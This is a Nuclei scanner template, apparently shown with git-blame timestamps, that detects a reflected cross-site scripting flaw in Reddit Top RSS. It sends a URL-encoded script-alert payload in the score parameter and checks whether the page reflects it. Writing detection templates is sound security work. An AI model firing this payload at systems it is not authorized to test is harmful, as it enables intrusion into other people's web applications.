2022-08-12 10:25:22 +00:00
|
|
|
id: reddittop-rss-xss
|
2022-08-12 07:09:23 +00:00
|
|
|
|
|
|
|
info:
|
2022-09-09 17:34:37 +00:00
|
|
|
name: Reddit Top RSS - Cross-Site Scripting
|
2022-08-12 07:09:23 +00:00
|
|
|
author: arafatansari
|
2022-09-23 17:53:08 +00:00
|
|
|
severity: high
|
2022-08-12 07:09:23 +00:00
|
|
|
description: |
|
2022-09-23 17:53:08 +00:00
|
|
|
Reddit Top RSS contains a cross-site scripting vulnerability via the /?subreddit=news&score= parameter.
|
2022-08-12 07:09:23 +00:00
|
|
|
reference:
|
|
|
|
- https://github.com/johnwarne/reddit-top-rss/issues/12
|
2022-09-23 17:53:08 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
|
|
|
|
cvss-score: 7.2
|
|
|
|
cwe-id: CWE-79
|
2022-08-12 10:25:22 +00:00
|
|
|
metadata:
|
|
|
|
verified: true
|
2023-10-14 11:27:55 +00:00
|
|
|
max-request: 1
|
2022-08-12 10:25:22 +00:00
|
|
|
tags: reddit,rss,xss
|
2022-08-12 07:09:23 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2022-08-12 07:09:23 +00:00
|
|
|
- method: GET
|
|
|
|
path:
|
2022-08-12 10:25:22 +00:00
|
|
|
- '{{BaseURL}}/?subreddit=news&score=2134%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
|
2022-08-12 07:09:23 +00:00
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
2022-08-12 10:25:22 +00:00
|
|
|
- type: word
|
|
|
|
part: body
|
|
|
|
words:
|
|
|
|
- 'value="2134"><script>alert(document.domain)</script>" min="0"'
|
2022-08-12 07:09:23 +00:00
|
|
|
|
|
|
|
- type: word
|
2022-08-12 10:25:22 +00:00
|
|
|
part: header
|
2022-08-12 07:09:23 +00:00
|
|
|
words:
|
2022-08-12 10:25:22 +00:00
|
|
|
- text/html
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
2023-10-20 11:41:13 +00:00
|
|
|
|
|
|
|
# digest: 490a0046304402206c5d671dca881b41f94d956517dc32c9e7b4b0e75b9ded97b77dcffe1bf765e702206ce148e2161cdba48c915a46120af7a893ccc3190e54c3152139c7758769b3f0:922c64590222798bb761d5b6d8e72950
|